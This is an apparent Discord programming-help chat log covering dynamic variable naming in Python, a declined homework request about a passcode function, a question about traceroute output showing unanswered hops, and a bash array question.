    dictionary[key] = value 
    x += 1

But, I prefer to do

for i in range(1, 11):
    globals()[f"variable{i}"] = i

print(variable1)
true pumice
magic falcon
safe wind
#

I want to create many class objects, save them with pickle and load with different variable names

true pumice
#

Honestly, I avoid dynamically generating variables. It's messy

safe wind
true pumice
#

Much

magic falcon
#

Store data in a dataframe or map of some kind, you don't need to go through a hassle of dynamically naming vars.

safe wind
#

I see now, thank you @magic falcon @true pumice

wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

true pumice
#

np

magic falcon
#

+rep @true pumice

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

true pumice
#

lmao

magic falcon
#

just making sure the bot is fair....

brazen eagle
safe wind
brazen eagle
#

Ah

#

Are function pointers a thing in python I wonder

onyx merlin
#

Eg, I'll do a demo quick

brazen eagle
magic falcon
brazen eagle
#

So kinda like java then

magic falcon
#

yeah

hollow dagger
lilac holly
#

Anyone good with python??

surreal bronze
lilac holly
#

Im having trouble with a creating a function

surreal bronze
#

What specifically?

#

Could you show the code and what your trying to do?

#

Also, if you want to post images you have to verify so better do that

#

!docs verify

narrow terraceBOT
lilac holly
#

def self destruct(x):
authorized_test =“000-Destruct-1”
authorized_final= “000-Destruct-1”

i am supposed to create variables for commanding officers code (co_code), executive officers code(xo_code), and chief engineers code (ce_code)

#

I started off by putting

co-code =
xo-code =
ce-code =

surreal bronze
#

Okay, so do you know how to pass parameters to functions?

#

Firstly, def self destruct(x): you can't have spaces in function names, replace it with something like this def self_destruct(x):

lilac holly
#

I apologize “def self_destruct” is how it is written into the code just miss typed

magic falcon
#

Is this homework?

lilac holly
#

Yes, i been looking through videos to try and see if they show how to create function, but they arent helping all well

surreal bronze
#

Ah we can't help with homework sorry

lilac holly
#

How am i able to learn ?

magic falcon
#

if you don't understand how to write a function, the official python docs have a set of examples. Failing that, your course notes and materials should have adequate explanation as well.

lilac holly
#

No offense but why cant i get help with learning how to create a variable for a custom function . The videos i al given are creating numbered variables with multiplication inside of the code but im supposed to be creating a variable for a code

#

Isnt this a tutoring discord

magic falcon
#

Not tutoring specifically; There are a lot of reasons why we are reluctant to assist with schoolwork. The first is that it may be unethical according to your schools honor code. Violating that honor code, if it were reported, could see you expelled.
Second, your instructor may consider outside help cheating. We cannot verify whether or not that is the case.
Third, help we give may send you looking down a path that actually hinders you in learning the things your instructor is trying to teach.

#

And finally, if you are looking for the basic understanding of how python works, the python documentation is publicly available.

lilac holly
#

Okay, im not going to say anything else…🫠

bold tide
#

Hello!

surreal bronze
#

Hii

#

How can we help you

hollow sorrel
#

traceroute to 10.10.98.144 (10.10.98.144), 30 hops max, 60 byte packets
1 10.4.0.1 (10.4.0.1) 121.582 ms 122.285 ms 122.284 ms
2 * * *
3 * * *
4 10.10.98.144 (10.10.98.144) 378.874 ms 377.553 ms 377.889 ms

#

to anyone reading this, am i getting this right

#

im wondering why 2 and 3 has no traceroute returned

#

im guessing that with ttl set to 2 or 3, we dont get any reply from a router

broken orchid
#

Yeah that sounds right, those routers probably block ICMP messages or something

hollow sorrel
#

oh yea, might probably be blocking it

#

but if it block them, how does it reach to router 4

#

with ping -R, i get the route the ping took

#

and the ips given is pingable

#

but im wondering why im not getting the same output with traceroute

#

or at least somehow similar

broken orchid
#

hmm, yeah I dont think I know enough to make a guess as to why that might be happening

hollow sorrel
#

same, wondering how it works

broken orchid
#

Hopefully someone with more knowledge will come along and answer your question then

hollow sorrel
#

hahaha true

#

having fun with network security

#

might pursue it

ancient terrace
#
arr=("$(cat)" "$(cat)" "$(cat)")
echo ${arr[*]}``` why does this not work?